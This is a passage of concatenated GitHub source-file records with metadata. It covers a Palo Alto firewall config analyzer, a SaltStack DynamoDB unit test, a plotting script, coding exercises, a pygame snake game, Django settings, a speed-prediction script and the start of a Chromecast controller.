Group-2')\n self.local_config.set('Analyzer', '# Default Group Profile = Security Profile Group-default')\n\n self.local_config.set('Analyzer', '# UnconventionallyNamedAddresses: Specify a format for Address object names. Available fields are: {host}, {network}, {range}, {fqdn}, {mask}')\n self.local_config.set('Analyzer', '# host is for an IPv4 with a /32 netmask, IPv6 with a /128, or a host without a netmask at all')\n self.local_config.set('Analyzer', 'fqdn name format = fqdn-{fqdn}')\n self.local_config.set('Analyzer', 'host name format = host-{host}')\n self.local_config.set('Analyzer', 'net name format = net-{host}_{network}')\n self.local_config.set('Analyzer', 'range name format = range-{range}')\n self.local_config.set('Analyzer', '# Palo alto does not allow colon (:) characters in names')\n self.local_config.set('Analyzer', 'ipv6 colon replacement char = _')\n self.local_config.set('Analyzer', 'wildcard name format = wildcard-{mask}')\n\n self.local_config.set('Analyzer', '# UnconventionallyNamedServices: Specify a format for Service object names. Available fields are: {transport}, {source-port}, {port}, {override}')\n self.local_config.set('Analyzer', '# service name format = {transport}-{port}')\n\n self.local_config.set('Analyzer', '# EquivalentObjects: Whether to ignore the description field when comparing if two objects are equivalent (false by default)')\n self.local_config.set('Analyzer', 'Equivalent objects ignore description = false')\n self.local_config.set('Analyzer', 'Equivalent objects ignore tags = false')\n\n def validate_mandatory_fields(self):\n panorama = self.local_config['Analyzer']['Panorama']\n if not panorama:\n raise Exception(\"Panorama needs to be specified!\")\n\n def write_config(self, config_path):\n os.makedirs(os.path.dirname(config_path), exist_ok=True)\n with open(config_path, 'w') as config_fh:\n self.local_config.write(config_fh)\n\n def get_config(self):\n return self.local_config['Analyzer']\n\n\n@dataclasses.dataclass\nclass ProfilePackage:\n \"\"\"Class for storing the values associated with a firewall configuration\"\"\"\n api_key: str\n pan_config: PanConfig\n settings: ConfigurationSettings\n device_group_hierarchy_children: typing.Dict[str, typing.List]\n device_group_hierarchy_parent: typing.Dict[str, str]\n device_groups_and_firewalls: typing.Dict[str, typing.List[str]]\n device_groups: typing.List[str]\n devicegroup_objects: typing.Dict\n devicegroup_exclusive_objects: typing.Dict\n rule_limit_enabled: bool\n\n\nBadEntry = collections.namedtuple('BadEntry', ['data', 'text', 'device_group', 'entry_type'])\n\n\n@functools.lru_cache(maxsize=None)\ndef cached_dns_lookup(domain):\n try:\n result = socket.gethostbyname(domain)\n logger.debug(f\"gethostbyname() Domain:{domain} resolved to:{result}\")\n return result\n except socket.gaierror:\n logger.debug(f\"gethostbyname() Domain:{domain} failed to resolve\")\n return None\n\n\n@functools.lru_cache(maxsize=None)\ndef cached_dns_ex_lookup(domain):\n try:\n result = socket.gethostbyname_ex(domain)\n logger.debug(f\"gethostbyname_ex() - Domain:{domain} resolved to:{result}\")\n return result\n except socket.gaierror:\n logger.debug(f\"gethostbyname_ex() Domain:{domain} failed to resolve\")\n return (None, [], [])\n\n\n@functools.lru_cache(maxsize=None)\ndef cached_fqdn_lookup(domain):\n try:\n result = socket.getfqdn(domain)\n logger.debug(f\"getfqdn() - Domain:{domain} resolved to:{result}\")\n return result\n except socket.gaierror:\n logger.debug(f\"getfqdn() Domain:{domain} failed to resolve\")\n return None\n\n\n@functools.lru_cache(maxsize=None)\ndef xml_object_to_dict(xml_obj):\n obj_xml_string = xml.etree.ElementTree.tostring(xml_obj)\n obj_dict = xmltodict.parse(obj_xml_string)\n return obj_dict\n\n\n@functools.lru_cache(maxsize=None)\ndef get_single_ip_from_address(address_entry):\n \"\"\"\n address_entry: Address object\n Return: An ip address that is inside of the Address Object.\n \"\"\"\n\n address_dict = xml_object_to_dict(address_entry)['entry']\n\n if \"ip-netmask\" in address_dict:\n return ipaddress.ip_network(address_dict['ip-netmask'], False)[0].exploded\n elif 'ip-range' in address_dict:\n return address_dict['ip-range'].split('-', 1)[0]\n elif 'fqdn' in address_dict:\n ip = cached_dns_lookup(address_dict['fqdn'])\n if ip:\n return ip\n else:\n # wildcard masks aren't supported yet\n raise Exception(f\"Unable to extract an ip from {address_entry}\")\n\n\ndef _squash_devicegroup(device_group, device_group_hierarchy_children):\n \"\"\"Recursive function for determining all of a device group's child device groups\"\"\"\n result = [device_group]\n if device_group in device_group_hierarchy_children:\n for child_dg in device_group_hierarchy_children[device_group]:\n result += _squash_devicegroup(child_dg, device_group_hierarchy_children)\n return sorted(result)\n\n\ndef squash_all_devicegroups(device_groups, device_group_hierarchy_children):\n \"\"\"Squashes all device groups, so that a single device group can be mapped to all child Device Groups\n This is useful for when seeing which device groups rules at a higher-level device group apply to\"\"\"\n all_devicegroups = {}\n for device_group in device_groups:\n all_devicegroups[device_group] = _squash_devicegroup(device_group, device_group_hierarchy_children)\n return all_devicegroups\n","repo_name":"moshekaplan/palo_alto_firewall_analyzer","sub_path":"src/palo_alto_firewall_analyzer/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":9371,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"78"} +{"seq_id":"12854699664","text":"\"\"\"\n :codeauthor: Jayesh Kariya \n\"\"\"\n\nimport pytest\n\nimport salt.states.boto_dynamodb as boto_dynamodb\nfrom tests.support.mock import MagicMock, patch\n\n\n@pytest.fixture\ndef configure_loader_modules():\n return {boto_dynamodb: {}}\n\n\ndef test_present():\n \"\"\"\n Test to ensure the DynamoDB table exists.\n \"\"\"\n name = \"new_table\"\n\n ret = {\"name\": name, \"result\": True, \"changes\": {}, \"comment\": \"\"}\n\n exists_mock = MagicMock(side_effect=[True, False, False])\n dict_mock = MagicMock(return_value={})\n mock_bool = MagicMock(return_value=True)\n pillar_mock = MagicMock(return_value=[])\n with patch.dict(\n boto_dynamodb.__salt__,\n {\n \"boto_dynamodb.exists\": exists_mock,\n \"boto_dynamodb.describe\": dict_mock,\n \"config.option\": dict_mock,\n \"pillar.get\": pillar_mock,\n \"boto_dynamodb.create_table\": mock_bool,\n },\n ):\n comt = (\n \"DynamoDB table {0} exists,\\n\"\n \"DynamoDB table {0} throughput matches,\\n\"\n \"All global secondary indexes match,\\n\".format(name)\n )\n ret.update({\"comment\": comt})\n assert boto_dynamodb.present(name) == ret\n\n with patch.dict(boto_dynamodb.__opts__, {\"test\": True}):\n comt = \"DynamoDB table {} would be created.\".format(name)\n ret.update({\"comment\": comt, \"result\": None})\n assert boto_dynamodb.present(name) == ret\n\n changes = {\n \"new\": {\n \"global_indexes\": None,\n \"hash_key\": None,\n \"hash_key_data_type\": None,\n \"local_indexes\": None,\n \"range_key\": None,\n \"range_key_data_type\": None,\n \"read_capacity_units\": None,\n \"table\": \"new_table\",\n \"write_capacity_units\": None,\n }\n }\n\n with patch.dict(boto_dynamodb.__opts__, {\"test\": False}):\n comt = (\n \"DynamoDB table {} was successfully created,\\n\"\n \"DynamoDB table new_table throughput matches,\\n\".format(name)\n )\n ret.update({\"comment\": comt, \"result\": True, \"changes\": changes})\n assert ret == boto_dynamodb.present(name)\n\n\ndef test_absent():\n \"\"\"\n Test to ensure the DynamoDB table does not exist.\n \"\"\"\n name = \"new_table\"\n\n ret = {\"name\": name, \"result\": True, \"changes\": {}, \"comment\": \"\"}\n\n mock = MagicMock(side_effect=[False, True, True])\n mock_bool = MagicMock(return_value=True)\n with patch.dict(\n boto_dynamodb.__salt__,\n {\"boto_dynamodb.exists\": mock, \"boto_dynamodb.delete\": mock_bool},\n ):\n comt = \"DynamoDB table {} does not exist\".format(name)\n ret.update({\"comment\": comt})\n assert boto_dynamodb.absent(name) == ret\n\n with patch.dict(boto_dynamodb.__opts__, {\"test\": True}):\n comt = \"DynamoDB table {} is set to be deleted\".format(name)\n ret.update({\"comment\": comt, \"result\": None})\n assert boto_dynamodb.absent(name) == ret\n\n changes = {\n \"new\": \"Table new_table deleted\",\n \"old\": \"Table new_table exists\",\n }\n\n with patch.dict(boto_dynamodb.__opts__, {\"test\": False}):\n comt = \"Deleted DynamoDB table {}\".format(name)\n ret.update({\"comment\": comt, \"result\": True, \"changes\": changes})\n assert boto_dynamodb.absent(name) == ret\n","repo_name":"saltstack/salt","sub_path":"tests/pytests/unit/states/test_boto_dynamodb.py","file_name":"test_boto_dynamodb.py","file_ext":"py","file_size_in_byte":3479,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"} +{"seq_id":"1144182851","text":"import pandas as pd\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n#plotting the pay-off\r\ndata = pd.read_csv('BatteryPrices6.csv')\r\ndf = data.unstack().reset_index()\r\ndf.columns = ['X', 'Y', 'Z']\r\ndf['Y'] = np.tile(range(-500, 3001, 50), 21)\r\n\r\nfig = plt.figure()\r\nax = fig.gca(projection='3d')\r\nax.plot_trisurf(df['Y'], pd.to_numeric(df['X']), df['Z'], cmap=plt.cm.viridis, linewidth=0.2)\r\nplt.ylabel('Starting Storage')\r\nplt.xlabel('Starting Price')\r\n\r\n# plotting the pay-off value\r\nprices = pd.read_csv('BatteryPrices6Der.csv')\r\nprices = pd.DataFrame(prices).unstack(level=0).reset_index()\r\nprices.columns = ['X', 'Y', 'Z']\r\nprices['Y'] = np.tile(range(-500, 3001, 50), 20)\r\n\r\nfig = plt.figure()\r\nax = fig.gca(projection='3d')\r\nax.plot_trisurf(prices['Y'], pd.to_numeric(prices['X']), prices['Z'], cmap=plt.cm.viridis, linewidth=0.2)\r\nplt.ylabel('Starting Storage')\r\nplt.xlabel('Starting Price')\r\nplt.show()\r\n","repo_name":"LegendaryInvestorJimRodgers/smartgridmarkets","sub_path":"Plotting3D.py","file_name":"Plotting3D.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31905887611","text":"from typing import List\nclass Solution:\n def longestCommonPrefix(self, strs: List[str]) -> str:\n for tmp in zip(*strs):\n print(tmp)\n if len(strs) ==0:\n return \"\"\n if len(strs) ==1:\n return strs[0]\n mainStr = strs[0]\n for str in strs:\n if len(mainStr) > len(str):\n mainStr = str\n strs.remove(mainStr)\n max = len(mainStr)\n right = max\n current = 0\n \n while current < right <= max:\n cache = mainStr[:right]\n print(cache)\n result = True\n for str in strs:\n if cache != str[:right]:\n result = False\n break\n if result:\n current = right\n right = int(right*1.5+0.5)\n print(result,current,right)\n elif right !=1:\n right = int((right - current)/2+0.5)\n print(result,current,right)\n else:\n right = 0\n return mainStr[:current]\nif __name__ == \"__main__\":\n #106+1100\n a = Solution.longestCommonPrefix(\"\",strs=[\"dog\",\"racecar\",\"car\"])\n print ('aa',a)\n pass","repo_name":"H-Maktub/leetcode","sub_path":"题库_python/14.py","file_name":"14.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38594596748","text":"import random , pygame , sys\r\nfrom pygame.locals import *\r\n\r\nFPS=15\r\nwindowWidth=640\r\nwindowHeight=480\r\ncellSize=20\r\nassert windowHeight%cellSize==0 , \"Window height must be multipe of cell size\"\r\nassert windowWidth%cellSize==0 , \"Window width must be multipe of cell size\"\r\ncellAlongWidth=int(windowWidth/cellSize)\r\ncellAlongHeight=int(windowHeight/cellSize)\r\n\r\nRED=(255 , 0 , 0)\r\nGREEN=(0,255,0)\r\nBLUE=(0,0,255)\r\nBLACK=(0,0,0)\r\nWHITE=(255,255,255)\r\nDARKGREEN=(0,155,0)\r\nhead=0\r\n\r\ndef main():\r\n global fpsClock , dispSurface , basicFont\r\n pygame.init()\r\n fpsClock=pygame.time.Clock()\r\n dispSurface = pygame.display.set_mode((windowWidth, windowHeight))\r\n basicFont = pygame.font.Font('freesansbold.ttf', 18)\r\n pygame.display.set_caption('Python By Anshul')\r\n startScreen()\r\n while True:\r\n runGame()\r\n gameoverScreen()\r\n\r\n\r\ndef runGame():\r\n startX=random.randint(5,cellAlongWidth-5)\r\n startY=random.randint(5,cellAlongHeight-5)\r\n wormBody=[{'x':startX , 'y':startY},{'x':startX-1 , 'y':startY-1},{'x':startX-2 , 'y':startY-2}]\r\n currentDirection='RIGHT'\r\n appleLocation=getRandomLocation()\r\n while True:\r\n #CHECKING FOR THE KEY PRESSED\r\n for event in pygame.event.get():\r\n if event.type==QUIT:\r\n terminate()\r\n elif event.type==KEYDOWN:\r\n if( event.key==K_LEFT or event.key==K_a) and currentDirection!='RIGHT':\r\n currentDirection='LEFT'\r\n elif ( event.key==K_RIGHT or event.key==K_d) and currentDirection!='LEFT':\r\n currentDirection='RIGHT'\r\n elif ( event.key==K_UP or event.key==K_w) and currentDirection!='DOWN':\r\n currentDirection='UP'\r\n elif ( event.key==K_DOWN or event.key==K_s) and currentDirection!='UP':\r\n currentDirection='DOWN'\r\n elif ( event.key==K_ESCAPE):\r\n terminate()\r\n #CHECKING FOR COLLISION DETECTION WITH WALLS\r\n if wormBody[head]['x']==-1 or wormBody[head]['x']==cellAlongWidth or wormBody[head]['y']==-1 or wormBody[head]['y']==cellAlongHeight:\r\n return\r\n #CHECKING FOR COLLISION DETECTION WITH ITSELF\r\n for wormSegment in wormBody[1:]:\r\n if wormSegment['x']==wormBody[head]['x'] and wormSegment['y']==wormBody[head]['y']:\r\n return\r\n #CHECKING COLISION WITH APPLE\r\n if currentDirection == 'UP':\r\n newHead = {'x': wormBody[head]['x'], 'y': wormBody[head]['y'] - 1}\r\n elif currentDirection == 'DOWN':\r\n newHead = {'x': wormBody[head]['x'], 'y': wormBody[head]['y'] + 1}\r\n elif currentDirection == 'RIGHT':\r\n newHead = {'x': wormBody[head]['x'] + 1, 'y': wormBody[head]['y']}\r\n elif currentDirection == 'LEFT':\r\n newHead = {'x': wormBody[head]['x'] - 1, 'y': wormBody[head]['y']}\r\n\r\n if wormBody[head]['x']==appleLocation['x'] and wormBody[head]['y']==appleLocation['y']:\r\n appleLocation=getRandomLocation()\r\n else:\r\n del wormBody[-1]\r\n\r\n wormBody.insert(0,newHead)\r\n\r\n dispSurface.fill(WHITE)\r\n #drawGrid()\r\n drawWorm(wormBody)\r\n drawApple(appleLocation)\r\n drawScore(len(wormBody)-3)\r\n pygame.display.update()\r\n fpsClock.tick(FPS)\r\n\r\ndef drawMessage():\r\n message=basicFont.render('Press a key to play!',True,BLUE)\r\n messageRect=message.get_rect()\r\n messageRect.center=(windowWidth/2 , windowHeight-20)\r\n dispSurface.blit(message,messageRect)\r\n\r\ndef checkPressKey():\r\n if len(pygame.event.get(QUIT))>0:\r\n terminate()\r\n keyupevent=pygame.event.get(KEYUP)\r\n if len(keyupevent)== 0:\r\n return None\r\n if keyupevent[0] == K_ESCAPE:\r\n terminate()\r\n return keyupevent[0].key\r\n\r\ndef startScreen():\r\n titleFont=pygame.font.Font('freesansbold.ttf',50)\r\n titleMessasge1=titleFont.render('Python\\'s Revenge',True,RED)\r\n titleMessasge2 = titleFont.render('Python\\'s Revenge', True,GREEN)\r\n degree1=0\r\n degree2=0\r\n while True:\r\n dispSurface.fill(BLACK)\r\n rotatedSurface1=pygame.transform.rotate(titleMessasge1,degree1)\r\n rotatedRect1=rotatedSurface1.get_rect()\r\n rotatedRect1.center=(windowWidth/2 , 100)\r\n dispSurface.blit(rotatedSurface1,rotatedRect1)\r\n\r\n rotatedSurface2 = pygame.transform.rotate(titleMessasge2, degree2)\r\n rotatedRect2 = rotatedSurface2.get_rect()\r\n rotatedRect2.center=(windowWidth/2 , 300)\r\n dispSurface.blit(rotatedSurface2, rotatedRect2)\r\n\r\n drawMessage()\r\n\r\n if checkPressKey():\r\n pygame.event.get()\r\n return\r\n pygame.display.update()\r\n fpsClock.tick(FPS)\r\n degree1+=3\r\n degree2+=5\r\n\r\ndef terminate():\r\n pygame.quit()\r\n sys.exit()\r\n\r\ndef getRandomLocation():\r\n return {'x':random.randint(0,cellAlongWidth-1) , 'y':random.randint(0,cellAlongHeight-1)}\r\n\r\ndef gameoverScreen():\r\n gameoverFont=pygame.font.Font('freesansbold.ttf',50)\r\n gameoverMessage=gameoverFont.render('GAME OVER!!',True,RED)\r\n gameoverRect=gameoverMessage.get_rect()\r\n gameoverRect.center=(windowWidth/2,windowHeight/2)\r\n dispSurface.blit(gameoverMessage,gameoverRect)\r\n\r\n drawMessage()\r\n\r\n pygame.display.update()\r\n\r\n pygame.time.wait(500)\r\n\r\n checkPressKey()\r\n\r\n while True:\r\n if checkPressKey():\r\n pygame.event.get()\r\n return\r\n\r\ndef drawScore(score):\r\n scoreMessage=basicFont.render('Score: %s'%(score) , True ,BLACK)\r\n scoreRect=scoreMessage.get_rect()\r\n scoreRect.topleft=(windowWidth-120,10)\r\n dispSurface.blit(scoreMessage,scoreRect)\r\n\r\ndef drawWorm(body):\r\n for coord in body:\r\n x=coord['x']*cellSize\r\n y=coord['y']*cellSize\r\n wormSegmentRect=pygame.Rect(x,y,cellSize,cellSize)\r\n pygame.draw.rect(dispSurface,GREEN,wormSegmentRect)\r\n wormInnerSegmentRect=pygame.Rect(x+4 , y+4 , cellSize-8,cellSize-8)\r\n pygame.draw.rect(dispSurface,DARKGREEN,wormInnerSegmentRect)\r\n\r\ndef drawApple(coord):\r\n x=coord['x']*cellSize\r\n y=coord['y']*cellSize\r\n appleRect=pygame.Rect(x,y,cellSize,cellSize)\r\n pygame.draw.rect(dispSurface,RED,appleRect)\r\n\r\n#def drawGrid():\r\nif __name__== '__main__':\r\n main()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"anshulbahukhandi/Python-s-Revenge","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40013829989","text":"\"\"\"\r\nGirilen sayıyı tersten yazma\r\n\"\"\"\r\nnumber = int(input(\"Bir sayı giriniz:\"))\r\nb = 0\r\nwhile(number>0):\r\n k = number%10\r\n b =b*10 + k\r\n number//= 10\r\nprint(\"Girilen sayının tersi:%d\" %b)","repo_name":"alcpayasli/PYTHON-ALGORITHM","sub_path":"TEMEL_UYGULAMALAR/46_tersten_yazma.py","file_name":"46_tersten_yazma.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"74757888891","text":"import os\nfrom pathlib import Path\nfrom django.contrib.messages import constants as messages\nfrom environ import environ\n\n\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = Path(__file__).resolve().parent.parent.parent\n\nenv = environ.Env()\nenviron.Env.read_env(os.path.join(BASE_DIR, '.env'))\n\nSECRET_KEY = 'iw@m4xnf4))^gf-d_g5w*b(e!er78!6=$5p8n@77mg(&^r7a99'\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\n\n\n# Application definition\n\nDJANGO_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n]\n\nTHIRD_PARTY_APPS = [\n 'crispy_forms',\n 'webpack_loader',\n]\n\nDEVELOPMENT_APPS = [\n 'layouts',\n 'authentication',\n]\n\nINSTALLED_APPS = DJANGO_APPS + THIRD_PARTY_APPS + DEVELOPMENT_APPS\n\nCRISPY_TEMPLATE_PACK = 'bootstrap4'\n\nBUILTIN_MIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django_session_timeout.middleware.SessionTimeoutMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nTHIRD_PARTY_MIDDLEWARE = []\nDEVELOPMENT_MIDDLEWARE = []\n\nMIDDLEWARE = BUILTIN_MIDDLEWARE + THIRD_PARTY_MIDDLEWARE + DEVELOPMENT_MIDDLEWARE\n\nROOT_URLCONF = 'config.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n 'string_if_invalid': 'INVALID VARIABLE: %s',\n },\n },\n]\n\nWSGI_APPLICATION = 'config.wsgi.application'\n\n# Database\n# https://docs.djangoproject.com/en/3.0/ref/settings/#databases\n\n\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\n# Password validation\n# https://docs.djangoproject.com/en/3.0/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n# Internationalization\n# https://docs.djangoproject.com/en/3.0/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'Asia/Jakarta'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/3.0/howto/static-files/\n\nSTATIC_URL = '/static/'\nSTATICFILES_DIRS = [os.path.join(BASE_DIR, 'static')]\nSTATIC_ROOT = os.path.join(BASE_DIR, 'assets')\n\n# Webpack loader\nWEBPACK_LOADER = {\n 'DEFAULT': {\n 'BUNDLE_DIR_NAME': 'bundles/',\n 'STATS_FILE': os.path.join(BASE_DIR, 'webpack-stats.json'),\n }\n}\n\n# message\nMESSAGE_TAGS = {\n messages.DEBUG: 'alert-info',\n messages.INFO: 'alert-info',\n messages.SUCCESS: 'alert-success',\n messages.WARNING: 'alert-warning',\n messages.ERROR: 'alert-danger',\n}\n\n# SMTP Configure\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n# EMAIL_HOST = 'smtp.gmail.com'\n# EMAIL_PORT = 587\n# EMAIL_USE_TLS = True\n# EMAIL_HOST_USER = 'xxx'\n# EMAIL_HOST_PASSWORD = 'xxx'\n# DEFAULT_FROM_EMAIL = 'xxx'\n\nLOGIN_URL = 'auth-login'\nLOGIN_REDIRECT_URL = 'auth-login'\n\n# LOGIN_REDIRECT_URL = '/'\nLOGOUT_REDIRECT_URL = '/'\n\nSESSION_EXPIRE_SECONDS = 9000 # 3 minute\nSESSION_EXPIRE_AFTER_LAST_ACTIVITY = True\nSESSION_EXPIRE_AFTER_LAST_ACTIVITY_GRACE_PERIOD = 1 # group by minute\nSESSION_TIMEOUT_REDIRECT = 'auth-lock-screen'\n\nDEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'\n","repo_name":"danangharissetiawan/boilerplate","sub_path":"config/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"23598645682","text":"from karel.stanfordkarel import * \n\n\"\"\"\nFile: MidpointKarel.py\n----------------------\nWhen you finish writing it, MidpointKarel should leave\na beeper on the corner closest to the center of 1st Street\n(or either of the two central corners if 1st Street has an even\nnumber of corners). Karel can put down additional beepers as it\nlooks for the midpoint, but must pick them up again before it\nstops. The world may be of any size, but you are allowed to\nassume that it is at least as tall as it is wide.\n\"\"\"\n\n\ndef main():\n \"\"\"\n Fills the row with beepers where karel ends up in the middle of the row.\n Puts an additional beeper in the middle postion.\n Every corner in the row has 1 beeper except the middle one has 2.\n Clears each corner in the row by 1 beeper.\n The row ends up having only 1 beeper in the middle corner.\n \"\"\"\n fill_line_middle()\n put_beeper()\n move_to_wall()\n turn_around()\n clear_line_one()\n turn_around()\n move_until_beeper()\n\ndef move_until_beeper():\n \"\"\"\n Moves karel until there is a beeper in the karel's position.\n \"\"\"\n while no_beepers_present():\n move()\n\ndef clear_line_one():\n \"\"\"\n Clear one beeper at each corner in the line where karel is standing at, if any.\n Precondition: Behind karel is a wall.\n Postcondition: Karel at original position facing the same direction.\n \"\"\"\n pick_a_beeper()\n while front_is_clear():\n move()\n pick_a_beeper()\n\ndef pick_a_beeper():\n \"\"\"\n Pick one beeper at the current corner, if any.\n \"\"\"\n if beepers_present():\n pick_beeper()\n\ndef fill_line_middle():\n \"\"\"\n Fills line with beepers where karel currently staying at.\n Karel ends up being in the middle of the line. \n \"\"\"\n put_beeper()\n move_until_obstacle()\n while no_beepers_present():\n put_beeper()\n turn_around()\n move_until_obstacle()\n\ndef move_until_obstacle():\n \"\"\"\n Moves karel until the front is blocked or there is a beeper in the corner ahead.\n \"\"\"\n while front_is_clear():\n move()\n if beepers_present():\n move_back()\n break\n\ndef move_to_wall():\n \"\"\"\n Moves karel until the front is blocked.\n \"\"\"\n while front_is_clear():\n move()\n\ndef move_back():\n \"\"\"\n Moves karel one step back, same direction as current position.\n \"\"\"\n turn_around()\n move()\n turn_around()\n\ndef turn_around():\n for i in range(2):\n turn_left()\n\nif __name__ == \"__main__\":\n run_karel_program()\n","repo_name":"nhnquang11/cs106a-fa20","sub_path":"Assignment1/MidpointKarel.py","file_name":"MidpointKarel.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38902973041","text":"# -*- coding: utf-8 -*-\n# ======================================\n# @File : 24.py\n# @Time : 2020/5/7 19:20\n# @Author : Rivarrl\n# ======================================\n# [面试题24. 反转链表](https://leetcode-cn.com/problems/fan-zhuan-lian-biao-lcof/)\nfrom algorithm_utils import *\n\nclass Solution:\n def reverseList(self, head: ListNode) -> ListNode:\n p = q = head\n while q and q.next:\n t = q.next\n q.next = t.next\n t.next = p\n p = t\n return p\n\n\nif __name__ == '__main__':\n a = Solution()\n x = construct_list_node([1,2,3,4,5])\n r = a.reverseList(x)\n list_node_print(r)","repo_name":"Rivarrl/leetcode_python","sub_path":"leetcode/offer/24.py","file_name":"24.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"35639007800","text":"import cPickle as pickle\nimport json\nimport matplotlib\nimport numpy as np\nimport os\nimport sys\nimport warnings\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.preprocessing import StandardScaler\n\nfrom frames_to_features import extract_features\nfrom smooth_signal import ma_smoothing\nfrom video_to_frames import get_video_frames\n\nmatplotlib.use('qt5agg')\nimport matplotlib.pyplot as plt\n\n# Initial Setup\nfilename_base = 'drive_test'\nif len(sys.argv) >= 2 and sys.argv[-1] == '-v':\n filename_base = 'drive'\nextraction_network = 'resnet50'\nsmooth_signal = ma_smoothing\nsmooth_signal_window_size = 151\nshow_model_plots = True\ndata_dir = 'data/'\ndata_filename_base = os.path.join(data_dir, filename_base)\nfeatures_filepath = data_filename_base + '_' + extraction_network + '.npz'\nwarnings.filterwarnings(action='ignore', module='scipy', message='^internal gelsd')\nprint('Testing Model!')\n\n# Get labels\ndata_filepath = data_filename_base + '.mp4'\nwith open (data_filename_base + '.json', 'r') as json_raw_data:\n time_speed_data = json_raw_data.readlines()[0]\ntime_speed_data = np.array(json.loads(time_speed_data))\nprint('Labels Loaded.')\n\n# Get feature data\nnum_frames = get_video_frames(data_filepath, override_existing=False)\nextract_features(\n data_filepath, num_frames, extraction_network=extraction_network, override_existing=False)\nnpz_file = np.load(features_filepath)\nX_test = npz_file['arr_0']\nprint('Features Extracted.')\n\n# Split data\ntime_speed_data = time_speed_data[:X_test.shape[0],:]\ntime_test = time_speed_data[:,0].reshape(-1,1)\ny_test = time_speed_data[:,1].reshape(-1,1)\nprint('Data processed.')\n\n# Load Final Model and Preprocessor\nwith open('final_model.pickle', 'rb') as f:\n\tmodel = pickle.load(f)\nwith open('final_scaler.pickle', 'rb') as f:\n\tscaler = pickle.load(f)\nprint('Model and Preprocessor Loaded.')\n\n# Predict off Extracted Features\nX_test = scaler.transform(X_test)\ny_test_pred = model.predict(X_test)\ny_test_pred_smoothed = smooth_signal(y_test_pred, smooth_signal_window_size)\nprint('Test MSE: %.2f' % mean_squared_error(y_test, y_test_pred_smoothed))\n\nif show_model_plots:\n plt.plot(y_test,label='Actual')\n plt.plot(y_test_pred, label='Predicted')\n plt.plot(y_test_pred_smoothed, label='Predicted Smoothed')\n plt.show()\n","repo_name":"suhasshrinivasan/CarVideoToSpeedPrediction","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43381858007","text":"\"\"\"\nProvides controllers to handle specific namespaces in Chromecast communication.\n\"\"\"\nimport logging\n\nfrom ..error import UnsupportedNamespace, ControllerNotRegistered\n\n\nclass BaseController(object):\n \"\"\" ABC for namespace controllers. \"\"\"\n\n def __init__(self, namespace, supporting_app_id=None,\n target_platform=False):\n \"\"\"\n Initialize the controller.\n\n namespace: the namespace this controller will act on\n supporting_app_id: app to be launched if app is running with\n unsupported namespace.\n target_platform: set to True if you target the platform instead of\n current app.\n \"\"\"\n self.namespace = namespace\n self.supporting_app_id = 